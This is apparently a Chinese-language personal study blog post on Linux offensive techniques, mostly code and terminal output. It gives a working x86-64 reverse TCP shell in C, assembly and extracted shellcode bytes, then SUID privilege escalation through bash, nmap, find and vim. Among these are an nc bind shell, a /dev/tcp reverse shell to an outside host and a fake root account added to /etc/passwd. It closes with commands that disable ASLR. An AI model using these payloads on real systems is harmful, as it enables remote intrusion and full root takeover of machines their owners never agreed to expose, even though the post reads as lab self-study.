2022-08-29-Linux C 中connect函数用法及注意事项
Linux环境下用C语言实现socket 通信—简单代码
Linux C/C++ TCP Socket通信实例
Linux C/C++ UDP Socket通信实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int main () { char *shell[2 ]; int soc,remote; struct sockaddr_in serv_addr ; soc=socket(2 , 1 , 0 ); serv_addr.sin_addr.s_addr=0x8dbca8c0 ; serv_addr.sin_port=0xbe15 ; serv_addr.sin_family=2 ; remote=connect(soc,(struct sockaddr *)&serv_addr,0x10 ); dup2(soc,0 ); dup2(soc,1 ); dup2(soc,2 ); shell[0 ]="/bin/sh" ; shell[1 ]=0 ; execve(shell[0 ],shell,NULL ); }
这里我不知道 struct sockaddr_in serv_addr; 结构体在栈上是如何存储的,所以我们来看看它的汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 Dump of assembler code for function main: 0x00000000000011c9 <+0>: endbr64 0x00000000000011cd <+4>: push rbp 0x00000000000011ce <+5>: mov rbp,rsp 0x00000000000011d1 <+8>: sub rsp,0x40 0x00000000000011d5 <+12>: mov rax,QWORD PTR fs:0x28 0x00000000000011de <+21>: mov QWORD PTR [rbp-0x8],rax 0x00000000000011e2 <+25>: xor eax,eax 0x00000000000011e4 <+27>: mov DWORD PTR [rbp-0x1c],0x8dbca8c0 0x00000000000011eb <+34>: mov WORD PTR [rbp-0x1e],0xbe15 0x00000000000011f1 <+40>: mov WORD PTR [rbp-0x20],0x2 0x00000000000011f7 <+46>: mov edx,0x0 0x00000000000011fc <+51>: mov esi,0x1 0x0000000000001201 <+56>: mov edi,0x2 0x0000000000001206 <+61>: call 0x10d0 <socket@plt> 0x000000000000120b <+66>: mov DWORD PTR [rbp-0x38],eax 0x000000000000120e <+69>: lea rcx,[rbp-0x20] 0x0000000000001212 <+73>: mov eax,DWORD PTR [rbp-0x38] 0x0000000000001215 <+76>: mov edx,0x10 0x000000000000121a <+81>: mov rsi,rcx 0x000000000000121d <+84>: mov edi,eax 0x000000000000121f <+86>: call 0x10c0 <connect@plt> 0x0000000000001224 <+91>: mov DWORD PTR [rbp-0x34],eax 0x0000000000001227 <+94>: mov eax,DWORD PTR [rbp-0x38] 0x000000000000122a <+97>: mov esi,0x0 0x000000000000122f <+102>: mov edi,eax 0x0000000000001231 <+104>: call 0x10a0 <dup2@plt> 0x0000000000001236 <+109>: mov eax,DWORD PTR [rbp-0x38] 0x0000000000001239 <+112>: mov esi,0x1 0x000000000000123e <+117>: mov edi,eax 0x0000000000001240 <+119>: call 0x10a0 <dup2@plt> 0x0000000000001245 <+124>: mov eax,DWORD PTR [rbp-0x38] 0x0000000000001248 <+127>: mov esi,0x2 0x000000000000124d <+132>: mov edi,eax 0x000000000000124f <+134>: call 0x10a0 <dup2@plt> 0x0000000000001254 <+139>: lea rax,[rip+0xda9] # 0x2004 0x000000000000125b <+146>: mov QWORD PTR [rbp-0x30],rax 0x000000000000125f <+150>: mov QWORD PTR [rbp-0x28],0x0 0x0000000000001267 <+158>: mov rax,QWORD PTR [rbp-0x30] 0x000000000000126b <+162>: lea rcx,[rbp-0x30] 0x000000000000126f <+166>: mov edx,0x0 0x0000000000001274 <+171>: mov rsi,rcx 0x0000000000001277 <+174>: mov rdi,rax 0x000000000000127a <+177>: call 0x10b0 <execve@plt> 0x000000000000127f <+182>: mov eax,0x0 0x0000000000001284 <+187>: mov rdx,QWORD PTR [rbp-0x8] 0x0000000000001288 <+191>: xor rdx,QWORD PTR fs:0x28 0x0000000000001291 <+200>: je 0x1298 <main+207> 0x0000000000001293 <+202>: call 0x1090 <__stack_chk_fail@plt> 0x0000000000001298 <+207>: leave 0x0000000000001299 <+208>: ret End of assembler dump.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 global _start section .text _start: ;Socket xor rdx, rdx ; zero out rdx mov rsi, rdx ; AF_NET = 1 inc rsi ; rsi = AF_NET mov rdi, rsi ; SOCK_STREAM = 2 inc rdi ; rdi = SOCK_STREAM add ax, 0x29 syscall ; call socket(SOCK_STREAM, AF_NET, 0); mov r12, rax sub rsp,0x10 mov dword [rsp+0x4],0x8dbca8c0 ; ip = 192.168.188.141 mov word [rsp+0x2],0xbe15 ; post = 5566 mov word [rsp],0x2 ; Connect = 0x2a mov rdi, rax ; move the saved socket fd into rdi mov rsi, rsp ; move the saved sock_addr_in into rsi add dx, 0x10 ; add 0x10 to rdx xor rax, rax add ax, 0x2a syscall ; call connect(rdi, rsi, rdx) xor rsi, rsi ; zero out rsi dup: xor rax, rax add ax, 0x21 ; move the syscall for dup2 into rax mov rdi, r12 ; move the FD for the socket into rdi syscall ; call dup2(rdi, rsi) cmp rsi, 0x2 ; check to see if we are still under 2 inc rsi ; inc rsi jbe dup ; jmp if less than 2 ;sub r8, 0x1F ; setup the exec syscall at 0x3b xor rax, rax add ax, 0x3b ; move the syscall into rax ;exec xor rdx, rdx ; zero out rdx mov qword rbx, '//bin/sh' ; '/bin/sh' in hex shr rbx,0x8 ; shift right to create the null terminator push rbx mov rdi, rsp push rdx push rdi ; move the command from the stack to rdi mov rsi, rsp ; zero out rsi syscall ; call exec(rdi, rsi, 0)
运行以下命令编译并运行程序:
1 2 3 nasm -f elf64 rev_tcp.asm ld -m elf_x86_64 rev_tcp.o -o rev_tcp ./rev_tcp
接下来提取机器码,并将其插入 c 程序中执行:
1 for i in $(objdump -d rev_tcp.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
1 2 3 4 5 6 7 8 #include <stdio.h> int main () { unsigned char shellcode[] = \ "\x48\x31\xd2\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x66\x83\xc0\x29\x0f\x05\x49\x89\xc4\x48\x83\xec\x10\xc7\x44\x24\x04\xc0\xa8\xbc\x8d\x66\xc7\x44\x24\x02\x15\xbe\x66\xc7\x04\x24\x02\x00\x48\x89\xc7\x48\x89\xe6\x66\x83\xc2\x10\x48\x31\xc0\x66\x83\xc0\x2a\x0f\x05\x48\x31\xf6\x48\x31\xc0\x66\x83\xc0\x21\x4c\x89\xe7\x0f\x05\x48\x83\xfe\x02\x48\xff\xc6\x76\xeb\x48\x31\xc0\x66\x83\xc0\x3b\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" ; int (*ret)() = (int (*)())shellcode; ret(); }
编译:
1 2 gcc rev_tcp.c -o rev_tcp -z execstack -z norelro -no-pie -g ./rev_tcp
6. 提权参考:
Linux chown命令:修改文件和目录的所有者和所属组
出现 “ /usr/bin/ld: cannot open output file a.out: Permission denied ” 的解决办法
解决链接器错误 - 权限被拒绝
Linux 提权小知识
6.1 尝试前面不是说了一种提权思路吗?
提权思路:在系统文件中找到一个具有777权限的文件,在里面写入我们的提权代码执行,或者是把我们的可执行文件,提升权限执行。
我在实现的时候,却发现,只有777权限还不行,提示权限不够。
按照这篇文章《出现 “ /usr/bin/ld: cannot open output file a.out: Permission denied ” 的解决办法 》所说这是因为,user 用户无权更改所有者为 root 用户文件。所以我们还需要更改文件的所有者。Linux chown命令:修改文件和目录的所有者和所属组
但是更改文件所有者,还是需要 root 权限。更改后,,,还是缺少权限。
结果我按照那篇文章的说法,把整个目录的所有者都改成了 sakura,然后就能成功编译了。但是还是无法执行,因为目录中的所有文件所有者都变成了 sakura,所以同时文件的所有者也变成了 sakura。
最后,我看到了这篇文章《解决链接器错误 - 权限被拒绝 》,说是要解决此问题,请确保程序编译所在的目录具有所需的写入权限。
strace 跟踪还是缺少权限。
6.2 suid 提权参考:linux——SUID提权
谈一谈Linux与suid提权
说到这个话题,我们不得不先介绍一下suid 。
通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。
ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES 前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:
1 2 root@linux:~# ls -al /bin/ping -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
suid全称是S et owner U ser ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。
设置了s位的程序在运行时,其Effective UID 将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID 就是0,等同于拥有了root权限。
这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:
Real UID 执行该进程的用户实际的UID Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限) Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨) 通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。
有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
SUID提权的思路:运行root用户所拥有的SUID的文件,当其他用户运行该文件的时候就得获得root用户的身份。
以下命令可以发现linux系统上所有SUID的可执行文件
1 2 3 4 //以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/del/null find / -user root -perm -4000-exec ls -ldb {} \;
6.2.1 bash1 2 3 4 5 6 7 8 9 10 11 12 13 14 sakura@Kylin:~$ sudo chmod u+s /bin/bash sakura@Kylin:~$ ll /bin/bash -rwsr-xr-x 1 root root 1183448 6月 4 2021 /bin/bash* sakura@Kylin:~$ bash -p bash-5.0 root bash-5.0 uid=1000(sakura) gid=1000(sakura) euid=0(root) 组=1000(sakura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),129(sambashare) bash-5.0 bash-5.0 root:x:0:0:root:/root:/bin/bash 。。。。。。 toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh bash-5.0
成功提权,可以看到,最后已经添加了 具有root权限的 toor 用户。
6.2.2 nmapnmap历史版本
简谈SUID提权 —>nmap
Linux下安装及简单使用nmap
判断nmap版本,nmap -v,如果版本在2.02至5.21之间,则可以提权
1 2 3 4 5 6 7 8 9 10 11 # 下载 nmap 5.21版本 wget https://nmap.org/dist-old/nmap-5.21.tgz # 解压 tar -xvf nmap-5.21.tgz # 进入解压后的文件夹,配置环境 ./configure # 执行 make 安装 make
但是当我 ./configure 的时候,报错了
查看 config.log
发现缺少 Scrt1.o,Google后 解决方案
1 sudo apt-get install libc6-dev
执行后,make 时还是有错误
下面我就直接 copy 简谈SUID提权 —>nmap
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式:
在nmap交互模式中 通过如下命令提权
msf当中也有利用nmap进行提权的模块
1 exploit/unix/local/setuid_nmap
6.2.3 findfind比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
1 2 3 4 5 6 7 sakura@Kylin:~$ sudo chmod u+s /bin/find sakura@Kylin:~$ ll /bin/find -rwsr-xr-x 1 root root 320160 4月 15 2020 /bin/find* sakura@Kylin:~/文档$ touch anyfile sakura@Kylin:~/文档$ find anyfile -exec whoami \; root sakura@Kylin:~/文档$
1 2 3 4 # 进入shell sakura@Kylin:~/文档$ find anyfile -exec "/bin/bash" "-p" \; sh-5.0# whoami root
linux一般都安装了nc (存在-e 选项) 我们也可以利用nc 广播或反弹shell。[TIP]NC不使用-e选项反弹shell
广播shell:
1 find anyfile -exec nc -lvp 4444 -e '/bin/sh' \;
在攻击机上:
反弹shell
1 find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
6.2.4 vimlinux利用* vim提权
利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户
1 2 3 4 5 6 7 saksakura@Kylin:~$ sudo chmod u+s /bin/vim.tiny sakura@Kylin:~$ vim.tiny /etc/passwd sakura@Kylin:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash 、、、、 hello sakura@Kylin:~$
7. 关闭ASLR参考:
Linux下关闭ASLR(地址空间随机化)的方法
如何在 Ubuntu 9.10 中关闭 ASLR
配置选项
0 = 关闭 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。) 2 = 全随机。除了1中所述,还有heap。 方法一: 手动修改randomize_va_space文件
1 # echo 0 > /proc/sys/kernel/randomize_va_space
注意,这里是先进root权限,后执行。不要问为什么sudo echo 0 > /proc/sys/kernel/randomize_va_space为什么会报错
如何在 Ubuntu 9.10 中关闭 ASLR
在您的命令中,I/O 重定向>由当前 shell 处理。解释器将命令视为 3 个部分:
sudo echo 0>/proc/sys/kernel/randomize_va_space使用echo超级用户权限执行,而当前 shell(具有普通用户权限)尝试写入/proc/sys/kernel/randomize_va_space,因此触发Permission denied错误。
有几种方法可以克服这一点。第一种方法是使用超级用户权限运行 shell 并使用-c开关将命令传递给 shell:
1 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
(您可以sh用于 POSIX shell 和bashBash)
另一种方法是使用tee命令。该tee命令将内容从标准输入复制到标准输出(通常是指“屏幕”)以及列出的文件。因此,以下命令将字符打印A到标准输出以及文件output1.txt和output2.txt.
1 echo A | tee output1.txt output2.txt
在您的问题中,写入/proc/sys/kernel/randomize_va_space需要超级用户权限,而echo 0不需要root。所以,解决方案是:
1 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space >/dev/null
最终重定向以/dev/null防止0打印到屏幕。
方法二: 使用sysctl控制ASLR
1 $ sysctl -w kernel.randomize_va_space=0
这是一种临时改变 随机策略的方法,重启之后将恢复默认。如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。
方法三: 使用setarch控制单个程序的随机化 如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。
1 setarch `uname -m` -R ./your_program
-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)
方法四: 在GDB场景下,使用set disable-randomization off 在调试特定程序时,可以通过 set disable-randomization 命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。
当然,这里开启,关闭和查看的方法看起来就比较正规了。
关闭ASLR:
1 set disable-randomization on
开启ASLR:
1 set disable-randomization off
查看ASLR状态:
1 show disable-randomization